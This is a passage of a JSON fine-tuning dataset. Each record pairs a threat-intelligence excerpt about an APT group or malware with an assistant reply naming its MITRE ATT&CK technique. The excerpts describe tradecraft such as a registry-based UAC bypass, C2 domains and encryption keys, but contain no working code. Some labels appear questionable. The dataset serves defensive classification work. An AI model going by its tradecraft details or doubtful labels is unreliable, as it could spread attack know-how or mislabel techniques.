                "content": "Endpoint Protection . Buckeye cyberespionage group shifts gaze from US to Hong Kong . Buckeye (also known as APT3, Gothic Panda, UPS Team, and TG-0110) is a cyberespionage group that is believed to have been operating for well over half a decade. Buckeye used a remote access Trojan (Backdoor.Pirpi) in attacks against a US organization’s network in 2009. Symantec has identified additional tools used by the group, which will be discussed later. Organizations that Buckeye targeted over time, per region . Malware and tools . Buckeye uses a number of hacking tools as well as malware. Buckeye uses Backdoor.Pirpi, a remote access Trojan capable of reading, writing, and executing files and programs. As mentioned previously, Buckeye also uses a number of hacking tools, including the following: Keylogger: The keylogger is configured using the command line parameters: NetworkService, Replace, Install, Register and Unregister. RemoteCMD: This tool executes commands on remote computers, similar to the PsExec tool. On execution, the tool injects itself into lsass.exe and is triggered with the argument “dig”. OSinfo: OSInfo is a general purpose, system information gathering tool. It has the following command line argument help: ChromePass: A tool from NirSoft used for recovering passwords stored in the Chrome browser. This, coupled with the group’s use of zero-day exploits in the past, customized tools, and the types of organizations being targeted would suggest that Buckeye is a state-sponsored cyberespionage group"
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It then downloads and decrypts a PNG file"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HEXANE has enumerated processes on targeted systems."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Komplex trojan supports file deletion."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OilRig has used Remote Desktop Protocol for lateral movement. The group has also used tunneling tools to tunnel RDP into the environment."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Amadey has overwritten registry keys for persistence."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PowerStallion modifies the MAC times of its local log files to match that of the victim's desktop.ini file."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal on Host: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ROADTools can enumerate Azure AD groups."
            },
            {
                "role": "assistant",
                "content": "T1069.003 - Cloud Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Throughout our research, we witnessed several different infection chains being used to deliver the Aria-body backdoor. This RTF file, which was infected (weaponized) with the RoyalRoad exploit builder, drops a loader named intel.wll into the target PC’s Word startup folder. The loader in turn tries to download and execute the next stage payload from spool.jtjewifyn[.]com"
            },
            {
                "role": "assistant",
                "content": "T1137.006 - Office Application Startup: Add-ins"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KONNI has modified registry keys of ComSysApp, Svchost, and xmlProv on the machine to gain persistence."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses HTTP TCP port 80 and HTTPS TCP port 443 for communications."
            },
            {
                "role": "assistant",
                "content": "T1043 - Commonly Used Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Winnti for Linux has used a custom TCP protocol with four-byte XOR for command and control (C2)."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Samples associated with either RedAlpha campaign remain quite rare, with less than 20 samples identified across the two campaigns. Custom samples are coded in C++. The 2018 dropper relied on a rare C++ cross-platform framework called Haxe to string together pieces of publicly available source code largely found in Chinese-language forums and blogs."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SLOTHFULMEDIA has taken a screenshot of a victim's desktop, named it \"Filter3.jpg\", and stored it in the local directory."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "When it first starts,  crawls the victim's mapped drives and collects documents with the following extensions: .doc, .docx, .pdf, .ppt, .pptx, and .txt."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WhisperGate can download additional payloads hosted on a Discord channel."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "IAT hooking and inline hooking are generally known as userland rootkits. IAT hooking is a technique that malware uses to change the import address table. In contrast, with inline hooking, malware modifies the API function itself. In Figure 11, the malware FinFisher, performs IAT hooking by modifying where the CreateWindowEx points"
            },
            {
                "role": "assistant",
                "content": "T1056.004 - Input Capture: Credential API Hooking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Anchor can create a scheduled task for persistence."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By using this method, it will copy itself into a running Internet Explorer process in order to avoid detection by running as an independent process"
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection', 'T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Imminent Monitor has a remote webcam monitoring capability."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "gh0st RAT has gathered system architecture, processor, OS configuration, and installed hardware information."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ObliqueRAT can hide its payload in BMP images hosted on compromised websites."
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Variants of Kevin can communicate over DNS through queries to the server for constructed domain names with embedded information."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This activity has TTP and targeting overlap with previous activity, suspected to be APT29. The 2018 and 2016 LNK files are similar in structure and code, and contain significant metadata overlap, including the MAC address of the system on which the LNK was created"
            },
            {
                "role": "assistant",
                "content": "T1204.001 - Malicious Link', 'T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Smoke Loader was distributed through a compromised update to a Tor client with a coin miner payload."
            },
            {
                "role": "assistant",
                "content": "T1195 - Supply Chain Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "used sticky-keys to obtain unauthenticated, privileged console access."
            },
            {
                "role": "assistant",
                "content": "T1546.008 - Event Triggered Execution: Accessibility Features"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Use of the non-public PowerShell backdoor previously described by Morphisec and MalwareBytes (which we refer to as POWERSTATS)"
            },
            {
                "role": "assistant",
                "content": "T1546.013 - Event Triggered Execution: PowerShell Profile', 'T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "POWERSTATS has encrypted C2 traffic with RSA."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Power Loader overwrites Explorer’s Shell_TrayWnd extra window memory to redirect execution to a NTDLL function that is abused to assemble and execute a return-oriented programming (ROP) chain and create a malicious thread within Explorer.exe."
            },
            {
                "role": "assistant",
                "content": "T1055.011 - Process Injection: Extra Window Memory Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Interestingly, the server mapped to kneeexercises[.]net listens for incoming HTTPS connections on several ports and uses common names seen on other C2 domains. For example, ports 2083 and 8443 had CN firstohiobank[.]com, and TCP port 2087 had a TLS certificate with the common name dentalmatrix[.]net. We observed use of these non-standard ports during some of the older intrusions, while the newer ones mostly use port 443"
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OSX/Shlayer has used a resource fork to hide a compressed binary file of itself from the terminal, Finder, and potentially evade traditional scanners."
            },
            {
                "role": "assistant",
                "content": "T1564.009 - Resource Forking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Figure 7: The same de-obfuscated code as Figure 2 The only other script content of the blog-page[.]html is an empty script section"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The data exchanged between the module and the C&amp;C is encrypted with a proprietary algorithm and then encoded as readable latin characters"
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware initializes by gathering system and malware filename information and creates a mutex to make sure only one instance of the Trojan executes on the system at a time. Kazuar generates its mutex by using a process that begins with obtaining the MD5 hash of a string “[username]=&gt;singleton-instance-mutex”. The Trojan then encrypts this MD5 hash using an XOR algorithm and the serial number of the storage volume. Kazuar uses the resulting ciphertext to generate a GUID that it appends to the string “Global\\\\” to create the mutex"
            },
            {
                "role": "assistant",
                "content": "T1087.001 - Account Discovery: Local Account', 'T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "On top of this configuration change, this sample does not use the libcurl library for network exfiltration. Instead, it uses an external library. To locate it, the backdoor tries to decrypt each file in the current directory using AES-256-CBC with the key gFjMXBgyXWULmVVVzyxy padded with zeroes. Each file is “decrypted” and saved as /tmp/store and an attempt to load it as a library made using the dlopen function. When a decryption attempt results in a successful call to dlopen, the backdoor then retrieves the exported functions Boriry and ChadylonV, which seem to be responsible for the network communication with the server. As we do not have the dropper or other files from the original sample’s location, we could not analyse this library. Moreover, since the component is encrypted, a YARA rule based on these strings would not match the file found on disk"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Magic Hound malware has used a PowerShell command to check the victim system architecture to determine if it is an x64 machine. Other malware has obtained the OS version, UUID, and computer/host name to send to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Registered and active during late June 2020, newspointview[.]com has been used with more recent SombRAT variants as the primary C2 domain"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used a temporary file replacement technique to remotely execute utilities: they replaced a legitimate utility with theirs, executed their payload, and then restored the legitimate original file. They similarly manipulated scheduled tasks by updating an existing legitimate task to execute their tools and then returning the scheduled task to its original configuration. They routinely removed their tools, including removing backdoors once legitimate remote access was achieved"
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion', 'T1070 - Indicator Removal on Host', 'T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has commands to get the current user's name and SID."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Confucius has created scheduled tasks to maintain persistence on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The only known method of delivering stolen information to cybercriminals is by sending a ZIP archive to an embedded control center."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AppleSeed has divided files if the size is 0x1000000 bytes or more."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SILENTTRINITY can collect start time information from a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DRATzarus's dropper can be packed with UPX."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Night Dragon used pass-the-hash tools to gain usernames and passwords."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ShadowPad has encoded data as readable Latin characters."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "obtains application windows titles and then determines which windows to perform  on."
            },
            {
                "role": "assistant",
                "content": "T1010 - Application Window Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "To suppress the User Access Control (UAC) prompt that normally occurs during privilege elevation, the malware uses a UAC bypass technique first documented in August 2016. This bypass requires temporarily setting either the registry key HKCU\\Software\\Classes\\ms-settings\\shell\\open\\command on Windows 10, or the registry key HKCU\\Software\\Classes\\mscfile\\shell\\open\\command on Windows 7 to execute the malware. Once the registry key is set, the malware launches the Windows event viewer process eventvwr.msc, which will inadvertently launch the malware set in the registry keys with elevated privileges"
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "contains a collection of Privesc-PowerUp modules that can discover and exploit DLL hijacking opportunities in services and processes."
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "For example, Monash University, located in Australia, has been a popular Silent Librarian target. Like the overall content of their lures, the subject lines of Silent Librarian phishing emails have remained consistent over time. Phishing Pages . We have identified 127 different domains used to host Silent Librarian phishing sites since 2013. Like a growing number of phishing sites, domains registered by Silent Librarian generally use Freenom top-level domains (TLDs) (.TK, . CF, .GA, .GQ, .ML) because they are available at no cost. Some of the other recent TLDs associated with Silent Librarian domains include .IN, .IR, .INFO, .LINK, and .TOP. Legitimate American University Library Login URL (above) . Silent Librarian Phishing URL (January 2018) . The content of Silent Librarian phishing pages is almost identical to the legitimate target sites. The actors likely scrape the original HTML source code from the legitimate library login page, then edit the references to resources used to render the webpage (images, JavaScript, CSS, etc. An analysis of the Silent Librarian kits identified two email accounts that were used to receive compromised victim credentials. Similarly, the credentials stolen in the Silent Librarian phishing attacks we identified were sold on an Iranian website; however, it is not one of the sites specified in the indictment. Using a combination of technical and open source research, we identified another website, Uniaccount[.]ir, that was used to sell the credentials compromised in the Silent Librarian phishing attacks"
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Turian can create a remote shell and execute commands using cmd."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NotPetya can use PsExec to help propagate itself across a network."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In early April, Emotet acquired a module for distribution over wireless networks (MD5: 75d65cea0a33d11a2a74c703dbd2ad99), which tried to access Wi-Fi using a dictionary attack. Its code resembled that of the Network Spreader module (bypass.exe), which had been supplemented with Wi-Fi connection capability. If the brute-force was successful, the module transmitted data about the network to C&C."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has a tool that looks for files and directories on the local file system."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Crutch can persist via DLL search order hijacking on Google Chrome, Mozilla Firefox, or Microsoft OneDrive."
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Frankenstein, the threat actors used Empire to automatically gather the username, domain name, machine name, and other system information."
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Flame contains modules to infect USB sticks and spread laterally to other Windows systems the stick is plugged into using Autorun functionality."
            },
            {
                "role": "assistant",
                "content": "T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CallMe has the capability to create a reverse shell on victims."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Bash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Empire contains modules for executing commands over SSH as well as in-memory VNC agent injection."
            },
            {
                "role": "assistant",
                "content": "T1021.004 - Remote Services: SSH"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Various scans and queries are used to find proxy settings, domain controllers, remote desktop services, Citrix services, and network shares. If the obtained valid account is already member of the domain admins group, the first lateral move in the network is usually to a domain controller where the adversary also deploys a Cobalt Strike beacon. Otherwise, a jump host or other system likely used by domain admins is found and equipped with a Cobalt Strike beacon. If the victim’s network contains other Windows domains or different network security zones, the adversary scans and finds the trust relationships and jump hosts, attempting to move into the other domains and security zones"
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares', 'T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MuddyWater has made use of legitimate tools ConnectWise and Remote Utilities to gain access to target environment."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT-C-36 has used spearphishing emails with password protected RAR attachment to avoid being detected by the email gateway."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used ports 8060 and 8888 for C2."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Axiom has collected data from a compromised network."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Waterbear has deleted certain values from the Registry to load a malicious DLL."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Babuk has the ability to unpack itself into memory using XOR."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bazar downloads have been hosted on Google Docs."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
